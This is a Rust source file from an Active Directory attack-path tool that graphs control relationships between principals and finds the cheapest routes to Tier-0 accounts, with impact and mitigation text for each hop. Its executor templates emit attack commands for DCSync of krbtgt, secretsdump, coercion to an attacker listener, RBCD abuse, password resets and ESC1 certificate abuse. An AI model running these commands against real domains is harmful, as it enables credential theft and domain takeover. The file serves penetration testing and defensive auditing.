Skip to main content

adhammer_graph/
lib.rs

1//! Control-path graph (the BloodHound-style layer, in-process on petgraph).
2//!
3//! Nodes are security principals; a directed edge `A -> B` means "A holds a primitive
4//! that lets it control B". We seed Tier-0 (Domain/Enterprise Admins, DC computers,
5//! the domain head) and do a reverse traversal to find every principal that can reach it.
6//! Each edge carries a weight; the cheapest path is the attacker's likely route.
7
8use adhammer_core::sid::Sid;
9use adhammer_core::snapshot::Snapshot;
10use adhammer_core::AdObject;
11use petgraph::graph::{DiGraph, NodeIndex};
12use petgraph::visit::EdgeRef;
13use std::collections::HashMap;
14
15pub use ad_acl::{ControlPrimitive, SchemaMap};
16
17/// Edge label. ACL-derived edges are [`ad_acl::ControlPrimitive`]s; the rest come from object
18/// attributes rather than from a security descriptor.
19#[derive(Clone, Copy, Debug, PartialEq, Eq)]
20pub enum EdgeKind {
21    /// Group membership.
22    MemberOf,
23    /// Derived from an ACE on the target's security descriptor.
24    Acl(ControlPrimitive),
25    /// `msDS-AllowedToDelegateTo` names a service on the target — constrained delegation
26    /// with protocol transition impersonates any user to it.
27    AllowedToDelegate,
28    /// The source runs with `TRUSTED_FOR_DELEGATION`: coerce the target to authenticate to
29    /// it and its TGT lands in the source's cache.
30    UnconstrainedDelegation,
31    /// The source carries the target's SID in `sIDHistory` — it already *is* the target as
32    /// far as access checks are concerned.
33    SidHistory,
34    /// A privileged principal has a live logon session on the source host; controlling the host
35    /// yields that principal's credentials/TGT. Populated by `enum sessions` (S2).
36    HasSession,
37    /// The target can be coerced into authenticating to an attacker listener (MS-EFSR/RPRN/
38    /// DFSNM/FSRVP), feeding an NTLM relay. Populated by coercion posture (S2).
39    Coercible,
40    /// The source is a local administrator on the target host — full control and secret
41    /// extraction. Populated by session/local-admin collection (S5).
42    AdminTo,
43}
44
45impl EdgeKind {
46    /// Lower = cheaper for the attacker = more dangerous.
47    pub fn weight(self) -> u32 {
48        match self {
49            EdgeKind::MemberOf | EdgeKind::SidHistory | EdgeKind::AdminTo => 0,
50            EdgeKind::Acl(p) => p.cost(),
51            EdgeKind::AllowedToDelegate
52            | EdgeKind::UnconstrainedDelegation
53            | EdgeKind::Coercible => 2,
54            EdgeKind::HasSession => 1,
55        }
56    }
57
58    pub fn name(self) -> &'static str {
59        match self {
60            EdgeKind::MemberOf => "MemberOf",
61            EdgeKind::Acl(p) => p.name(),
62            EdgeKind::AllowedToDelegate => "AllowedToDelegate",
63            EdgeKind::UnconstrainedDelegation => "UnconstrainedDelegation",
64            EdgeKind::SidHistory => "SidHistory",
65            EdgeKind::HasSession => "HasSession",
66            EdgeKind::Coercible => "Coercible",
67            EdgeKind::AdminTo => "AdminTo",
68        }
69    }
70
71    /// What traversing this edge gets the attacker.
72    pub fn impact(self) -> &'static str {
73        match self {
74            EdgeKind::MemberOf => "inherits every privilege of the group",
75            EdgeKind::Acl(p) => p.impact(),
76            EdgeKind::AllowedToDelegate => {
77                "S4U2Self+S4U2Proxy impersonates any user to the allowed service"
78            }
79            EdgeKind::UnconstrainedDelegation => {
80                "coerce the target to authenticate here and its TGT is captured, then replayed"
81            }
82            EdgeKind::SidHistory => "access checks already grant the target's rights",
83            EdgeKind::HasSession => {
84                "a privileged logon session is live on this host — its TGT/credentials can be dumped"
85            }
86            EdgeKind::Coercible => {
87                "can be coerced to authenticate to an attacker listener, feeding an NTLM relay"
88            }
89            EdgeKind::AdminTo => "local administrator on the target — full control and secret extraction",
90        }
91    }
92
93    /// How a defender removes this edge.
94    pub fn mitigation(self) -> &'static str {
95        match self {
96            EdgeKind::MemberOf => "remove the principal from the group",
97            EdgeKind::Acl(p) => p.mitigation(),
98            EdgeKind::AllowedToDelegate => {
99                "clear msDS-AllowedToDelegateTo; mark Tier-0 accounts sensitive and non-delegatable"
100            }
101            EdgeKind::UnconstrainedDelegation => {
102                "clear TRUSTED_FOR_DELEGATION, put Tier-0 in Protected Users, block the coercion RPCs"
103            }
104            EdgeKind::SidHistory => "clean sIDHistory after the migration and enable SID filtering",
105            EdgeKind::HasSession => {
106                "keep privileged logons off member hosts; enable Credential Guard; Protected Users"
107            }
108            EdgeKind::Coercible => {
109                "patch MS-EFSR/RPRN/DFSNM/FSRVP coercion and require SMB + LDAP signing"
110            }
111            EdgeKind::AdminTo => "remove the local-admin grant; deploy LAPS; enforce Tier-0 isolation",
112        }
113    }
114
115    /// The `adhammer` command that walks this edge, as a template over `{from}` and `{to}`.
116    ///
117    /// `None` means the tool can *find* this edge but cannot yet *walk* it — which is exactly
118    /// the roadmap: an edge without an executor is an attack still owed.
119    pub fn executor(self) -> Option<&'static str> {
120        use ControlPrimitive as P;
121        Some(match self {
122            EdgeKind::MemberOf | EdgeKind::SidHistory => return None,
123            EdgeKind::AllowedToDelegate => {
124                "attack constrained --kdc <KDC> --realm <REALM> --account {from} --account-password <PASSWORD> --impersonate Administrator --target-spn <SPN-ON-{to}>"
125            }
126            EdgeKind::UnconstrainedDelegation => return None, // planned: attack unconstrained
127            EdgeKind::HasSession => "attack secretsdump --host {from}",
128            EdgeKind::Coercible => "attack coerce --host {to} --listener <ATTACKER>",
129            EdgeKind::AdminTo => "attack secretsdump --host {to}",
130            EdgeKind::Acl(p) => match p {
131                P::DcsyncGetChangesAll | P::AllExtendedRights => "attack dcsync --user krbtgt",
132                P::AddMember | P::AddSelfToGroup => {
133                    "attack abuse --add-member --group {to} --member {from}"
134                }
135                P::ForceChangePassword => "attack abuse --set-password --target {to}",
136                P::WriteRbcd | P::GenericAll | P::GenericWrite | P::WriteDacl | P::Owns => {
137                    "attack abuse --write-rbcd --target {to} && attack rbcd --target {to}"
138                }
139                P::WriteSpn => "attack abuse --add-spn --target {to} && attack roast",
140                P::ReadGmsaPassword => {
141                    "attack gmsa --url <LDAPS-URL> --user <USER> --password <PASSWORD> --target {to}"
142                }
143                P::ReadLapsPassword => {
144                    "attack laps --url <LDAPS-URL> --user <USER> --password <PASSWORD> --target {to}"
145                }
146                P::Enroll => {
147                    "attack esc1 --host <CA-HOST> --domain <NETBIOS> --user <USER> --password <PASSWORD> --ca <CA-NAME> --template {to} --upn Administrator@<REALM>"
148                }
149                // Found by `enum`, not yet executable: shadow credentials outside the relay
150                // path, BadSuccessor, template rewrite, the rest.
151                _ => return None,
152            },
153        })
154    }
155
156    /// [`EdgeKind::executor`] with the endpoints filled in.
157    pub fn command(self, from: &str, to: &str) -> Option<String> {
158        self.executor()
159            .map(|t| format!("adhammer {}", t.replace("{from}", from).replace("{to}", to)))
160    }
161}
162
163impl From<ControlPrimitive> for EdgeKind {
164    fn from(p: ControlPrimitive) -> Self {
165        EdgeKind::Acl(p)
166    }
167}
168
169#[cfg(test)]
170mod edge_tests {
171    use super::*;
172
173    /// The S2/S5 edge kinds each carry a name, impact, mitigation, and (for the walkable ones)
174    /// an `adhammer` command — so `scan` can plan and report them like every other hop.
175    #[test]
176    fn new_edges_are_fully_described() {
177        for e in [EdgeKind::HasSession, EdgeKind::Coercible, EdgeKind::AdminTo] {
178            assert!(!e.name().is_empty());
179            assert!(!e.impact().is_empty());
180            assert!(!e.mitigation().is_empty());
181        }
182        assert_eq!(EdgeKind::AdminTo.weight(), 0); // already admin — free hop
183        assert_eq!(EdgeKind::HasSession.weight(), 1);
184        assert!(EdgeKind::Coercible
185            .command("bob", "dc01")
186            .unwrap()
187            .starts_with("adhammer attack coerce"));
188        assert!(EdgeKind::AdminTo
189            .command("bob", "srv01")
190            .unwrap()
191            .contains("secretsdump --host srv01"));
192        assert!(EdgeKind::HasSession
193            .command("dc01", "admin")
194            .unwrap()
195            .contains("secretsdump --host dc01"));
196    }
197}
198
199#[derive(Clone, Debug)]
200pub struct Node {
201    pub sid: Sid,
202    pub label: String,
203    pub tier0: bool,
204}
205
206pub struct ControlGraph {
207    g: DiGraph<Node, EdgeKind>,
208    by_sid: HashMap<String, NodeIndex>,
209}
210
211impl ControlGraph {
212    pub fn build(snap: &Snapshot) -> Self {
213        Self::build_with(snap, &SchemaMap::new())
214    }
215
216    /// [`ControlGraph::build`] with a forest schema map, so ACEs on LAPS / gMSA / dMSA
217    /// attributes — whose GUIDs differ per forest — become edges too.
218    pub fn build_with(snap: &Snapshot, schema: &SchemaMap) -> Self {
219        let mut cg = ControlGraph {
220            g: DiGraph::new(),
221            by_sid: HashMap::new(),
222        };
223
224        // 1. one node per principal that has a SID.
225        for o in &snap.objects {
226            if let Some(sid) = o.bin1("objectSid").and_then(Sid::from_bytes) {
227                let tier0 = is_tier0(snap, &sid);
228                cg.ensure(sid, label_of(o), tier0);
229            }
230        }
231
232        // 2. edges.
233        for o in &snap.objects {
234            let Some(dst) = o.bin1("objectSid").and_then(Sid::from_bytes) else {
235                continue;
236            };
237            cg.add_membership_edges(snap, o, &dst);
238            cg.add_acl_edges(o, &dst, schema);
239            cg.add_rbcd_edge(o, &dst);
240            cg.add_delegation_edges(snap, o, &dst);
241            cg.add_sid_history_edges(snap, o, &dst);
242        }
243        cg
244    }
245
246    fn ensure(&mut self, sid: Sid, label: String, tier0: bool) -> NodeIndex {
247        if let Some(&ix) = self.by_sid.get(&sid.to_string()) {
248            if tier0 {
249                self.g[ix].tier0 = true;
250            }
251            return ix;
252        }
253        let key = sid.to_string();
254        let ix = self.g.add_node(Node { sid, label, tier0 });
255        self.by_sid.insert(key, ix);
256        ix
257    }
258
259    fn node_for(&mut self, sid: Sid) -> NodeIndex {
260        self.ensure(sid.clone(), sid.to_string(), false)
261    }
262
263    fn add_membership_edges(&mut self, snap: &Snapshot, o: &AdObject, self_sid: &Sid) {
264        // memberOf: this principal -> group. Edge means "member can act as group".
265        let me = self.node_for(self_sid.clone());
266        for group_dn in o.all("memberOf") {
267            if let Some(g) = snap
268                .by_dn(group_dn)
269                .and_then(|g| g.bin1("objectSid"))
270                .and_then(Sid::from_bytes)
271            {
272                let gx = self.node_for(g);
273                self.g.add_edge(me, gx, EdgeKind::MemberOf);
274            }
275        }
276
277        // Primary group membership is *not* in memberOf — it is a bare RID on the account.
278        // Hiding privilege there is a known trick, so the edge has to be drawn from it too.
279        if let Some(rid) = o.one("primaryGroupID").and_then(|s| s.parse::<u32>().ok()) {
280            if let Some(dsid) = &snap.domain.domain_sid {
281                let mut group = dsid.clone();
282                group.sub_authorities.push(rid);
283                if group != *self_sid {
284                    let gx = self.node_for(group);
285                    self.g.add_edge(me, gx, EdgeKind::MemberOf);
286                }
287            }
288        }
289    }
290
291    fn add_rbcd_edge(&mut self, o: &AdObject, self_sid: &Sid) {
292        // msDS-AllowedToActOnBehalfOfOtherIdentity is itself an SD; anyone in it can act on `self`.
293        if let Some(raw) = o.bin1("msDS-AllowedToActOnBehalfOfOtherIdentity") {
294            if let Ok(sd) = windows_sddl::parse(raw) {
295                let target = self.node_for(self_sid.clone());
296                for ace in sd
297                    .dacl
298                    .iter()
299                    .flat_map(|d| &d.aces)
300                    .filter(|a| a.is_allow())
301                {
302                    let src = self.node_for(ace.trustee.clone());
303                    self.g
304                        .add_edge(src, target, ControlPrimitive::WriteRbcd.into());
305                }
306            }
307        }
308    }
309
310    /// Delegation, both flavours. Neither lives in a security descriptor, so neither shows up
311    /// in the ACL pass — which is why an ACL-only graph misses the shortest routes to a DC.
312    fn add_delegation_edges(&mut self, snap: &Snapshot, o: &AdObject, self_sid: &Sid) {
313        use adhammer_core::object::uac;
314
315        // Constrained: this account may impersonate anyone to the named services.
316        let me = self.node_for(self_sid.clone());
317        for spn in o.all("msDS-AllowedToDelegateTo") {
318            if let Some(target) = spn_host_sid(snap, spn) {
319                let tx = self.node_for(target);
320                self.g.add_edge(me, tx, EdgeKind::AllowedToDelegate);
321            }
322        }
323
324        // Unconstrained: anything coerced into authenticating here leaves its TGT behind.
325        // The DCs are the payoff, so that is the edge worth drawing.
326        if o.uac() & uac::TRUSTED_FOR_DELEGATION != 0 {
327            let dcs: Vec<Sid> = snap
328                .objects
329                .iter()
330                .filter(|c| is_domain_controller(c))
331                .filter_map(|c| c.bin1("objectSid").and_then(Sid::from_bytes))
332                .filter(|s| s != self_sid)
333                .collect();
334            for dc in dcs {
335                let dx = self.node_for(dc);
336                self.g.add_edge(me, dx, EdgeKind::UnconstrainedDelegation);
337            }
338        }
339    }
340
341    /// `sIDHistory` — the holder already carries the other principal's access.
342    fn add_sid_history_edges(&mut self, snap: &Snapshot, o: &AdObject, self_sid: &Sid) {
343        let raws: Vec<Sid> = o
344            .all("sIDHistory")
345            .iter()
346            .filter_map(|s| Sid::parse(s))
347            .filter(|s| snap.by_sid(s).is_some())
348            .collect();
349        if raws.is_empty() {
350            return;
351        }
352        let me = self.node_for(self_sid.clone());
353        for sid in raws {
354            let tx = self.node_for(sid);
355            self.g.add_edge(me, tx, EdgeKind::SidHistory);
356        }
357    }
358
359    fn add_acl_edges(&mut self, o: &AdObject, self_sid: &Sid, schema: &SchemaMap) {
360        let Some(raw) = o.bin1("nTSecurityDescriptor") else {
361            return;
362        };
363        let Ok(sd) = windows_sddl::parse(raw) else {
364            return;
365        };
366        let target = self.node_for(self_sid.clone());
367
368        // `ad_acl` owns the ACE→primitive semantics (deny ACEs yield nothing); we only
369        // decide which trustees are worth a node.
370        for grant in ad_acl::grants_with(&sd, schema) {
371            if grant.trustee_is_well_known() {
372                continue;
373            }
374            let src = self.node_for(grant.trustee.clone());
375            self.g.add_edge(src, target, grant.primitive.into());
376        }
377    }
378
379    /// Every principal that can reach any Tier-0 node, with the cheapest route and the exact
380    /// steps it walks.
381    ///
382    /// Dijkstra runs *backwards* from each Tier-0 node over incoming edges, so the recorded
383    /// predecessor is the next hop forwards — reversing it yields the attacker's route.
384    pub fn paths_to_tier0(&self) -> Vec<AttackPath> {
385        use petgraph::Direction::Incoming;
386        use std::cmp::Reverse;
387        use std::collections::BinaryHeap;
388
389        let mut out = Vec::new();
390        for tix in self.g.node_indices().filter(|&i| self.g[i].tier0) {
391            // next[x] = (node after x on the way to tix, edge x -> that node)
392            let mut next: HashMap<NodeIndex, (NodeIndex, EdgeKind)> = HashMap::new();
393            let mut dist: HashMap<NodeIndex, u32> = HashMap::new();
394            let mut heap = BinaryHeap::new();
395
396            dist.insert(tix, 0);
397            heap.push(Reverse((0u32, tix.index())));
398
399            while let Some(Reverse((cost, raw))) = heap.pop() {
400                let node = NodeIndex::new(raw);
401                if cost > *dist.get(&node).unwrap_or(&u32::MAX) {
402                    continue;
403                }
404                for e in self.g.edges_directed(node, Incoming) {
405                    let src = e.source();
406                    let kind = *e.weight();
407                    let nc = cost.saturating_add(kind.weight());
408                    if nc < *dist.get(&src).unwrap_or(&u32::MAX) {
409                        dist.insert(src, nc);
410                        next.insert(src, (node, kind));
411                        heap.push(Reverse((nc, src.index())));
412                    }
413                }
414            }
415
416            for (src, cost) in dist {
417                if src == tix || self.g[src].tier0 {
418                    continue;
419                }
420                out.push(AttackPath {
421                    principal: self.g[src].label.clone(),
422                    principal_sid: self.g[src].sid.to_string(),
423                    target: self.g[tix].label.clone(),
424                    cost,
425                    steps: self.walk(src, tix, &next),
426                });
427            }
428        }
429        out.sort_by(|a, b| a.cost.cmp(&b.cost).then(a.principal.cmp(&b.principal)));
430        out
431    }
432
433    /// Follow the `next` map from `src` to `dst`, turning each hop into a [`Step`].
434    fn walk(
435        &self,
436        src: NodeIndex,
437        dst: NodeIndex,
438        next: &HashMap<NodeIndex, (NodeIndex, EdgeKind)>,
439    ) -> Vec<Step> {
440        let mut steps = Vec::new();
441        let mut cur = src;
442        // The map is acyclic by construction; the node bound is a belt-and-braces stop.
443        while cur != dst && steps.len() < self.g.node_count() {
444            let Some(&(to, edge)) = next.get(&cur) else {
445                break;
446            };
447            let from_label = self.g[cur].label.clone();
448            let to_label = self.g[to].label.clone();
449            steps.push(Step {
450                command: edge.command(&from_label, &to_label),
451                from: from_label,
452                from_sid: self.g[cur].sid.to_string(),
453                edge: edge.name(),
454                to: to_label,
455                to_sid: self.g[to].sid.to_string(),
456                impact: edge.impact(),
457                mitigation: edge.mitigation(),
458            });
459            cur = to;
460        }
461        steps
462    }
463
464    pub fn stats(&self) -> (usize, usize) {
465        (self.g.node_count(), self.g.edge_count())
466    }
467
468    /// Direct `kind` edges from a non-Tier-0 principal into a Tier-0 node.
469    pub fn direct_edges_to_tier0(&self, kind: EdgeKind) -> Vec<(String, String)> {
470        let mut out = Vec::new();
471        for e in self.g.edge_indices() {
472            if self.g[e] != kind {
473                continue;
474            }
475            let (src, dst) = self.g.edge_endpoints(e).unwrap();
476            if self.g[dst].tier0 && !self.g[src].tier0 {
477                out.push((self.g[src].label.clone(), self.g[dst].label.clone()));
478            }
479        }
480        out.sort();
481        out.dedup();
482        out
483    }
484}
485
486/// One hop of an attack path, with everything a report needs about it: what it is, what it
487/// buys the attacker, the command that walks it, and how a defender removes it.
488#[derive(Clone, Debug, serde::Serialize)]
489pub struct Step {
490    pub from: String,
491    pub from_sid: String,
492    /// Edge label, e.g. `AddKeyCredential`.
493    pub edge: &'static str,
494    pub to: String,
495    pub to_sid: String,
496    pub impact: &'static str,
497    pub mitigation: &'static str,
498    /// The `adhammer` invocation for this hop, or `None` when the tool can find the edge but
499    /// cannot yet walk it.
500    pub command: Option<String>,
501}
502
503#[derive(Clone, Debug, serde::Serialize)]
504pub struct AttackPath {
505    pub principal: String,
506    pub principal_sid: String,
507    pub target: String,
508    pub cost: u32,
509    /// The route from `principal` to `target`, hop by hop.
510    pub steps: Vec<Step>,
511}
512
513impl AttackPath {
514    /// `user → [AddKeyCredential] → svc → [MemberOf] → Domain Admins`
515    pub fn render(&self) -> String {
516        if self.steps.is_empty() {
517            return format!("{} → {}", self.principal, self.target);
518        }
519        let mut s = self.principal.clone();
520        for st in &self.steps {
521            s.push_str(&format!(" → [{}] → {}", st.edge, st.to));
522        }
523        s
524    }
525
526    /// `true` if every hop has an executor — the whole route can be walked by the tool.
527    pub fn fully_executable(&self) -> bool {
528        !self.steps.is_empty() && self.steps.iter().all(|s| s.command.is_some())
529    }
530}
531
532/// `HOST/dc01.testlab.local:1234/whatever` → the SID of the account that owns that SPN.
533fn spn_host_sid(snap: &Snapshot, spn: &str) -> Option<Sid> {
534    // The host part is the second field, minus any port or instance suffix.
535    let host = spn
536        .split('/')
537        .nth(1)?
538        .split(':')
539        .next()?
540        .to_ascii_lowercase();
541    let short = host.split('.').next().unwrap_or(&host);
542
543    snap.objects
544        .iter()
545        .find(|o| {
546            o.all("servicePrincipalName")
547                .iter()
548                .any(|s| s.eq_ignore_ascii_case(spn))
549        })
550        .or_else(|| snap.by_sam(&format!("{short}$")))
551        .and_then(|o| o.bin1("objectSid"))
552        .and_then(Sid::from_bytes)
553}
554
555/// A domain controller: a computer whose `userAccountControl` carries the SERVER_TRUST_ACCOUNT
556/// bit, which is what makes it a DC rather than a member server.
557fn is_domain_controller(o: &AdObject) -> bool {
558    const SERVER_TRUST_ACCOUNT: u32 = 0x0000_2000;
559    o.uac() & SERVER_TRUST_ACCOUNT != 0
560}
561
562fn is_tier0(snap: &Snapshot, sid: &Sid) -> bool {
563    use adhammer_core::sid::rid;
564
565    // A domain controller's *computer account* is Tier-0 by definition — it holds the
566    // replication rights. Its RID is an ordinary one, so the RID table below never catches it.
567    if snap.by_sid(sid).is_some_and(is_domain_controller) {
568        return true;
569    }
570
571    let Some(rid) = sid.rid() else { return false };
572    // domain-relative privileged RIDs
573    if matches!(
574        rid,
575        rid::DOMAIN_ADMINS
576            | rid::ENTERPRISE_ADMINS
577            | rid::SCHEMA_ADMINS
578            | rid::ADMINISTRATOR
579            | rid::KRBTGT
580            | rid::DOMAIN_CONTROLLERS
581    ) {
582        // ensure it belongs to this domain (or is builtin admins)
583        if let Some(dsid) = &snap.domain.domain_sid {
584            let prefix = &sid.sub_authorities[..sid.sub_authorities.len().saturating_sub(1)];
585            if prefix == &dsid.sub_authorities[..] {
586                return true;
587            }
588        }
589    }
590    // BUILTIN\Administrators  S-1-5-32-544
591    sid.identifier_authority == 5
592        && sid.sub_authorities.first() == Some(&32)
593        && sid.rid() == Some(rid::ADMINISTRATORS_BUILTIN)
594}
595
596fn label_of(o: &AdObject) -> String {
597    o.one("sAMAccountName")
598        .map(String::from)
599        .unwrap_or_else(|| o.dn.clone())
600}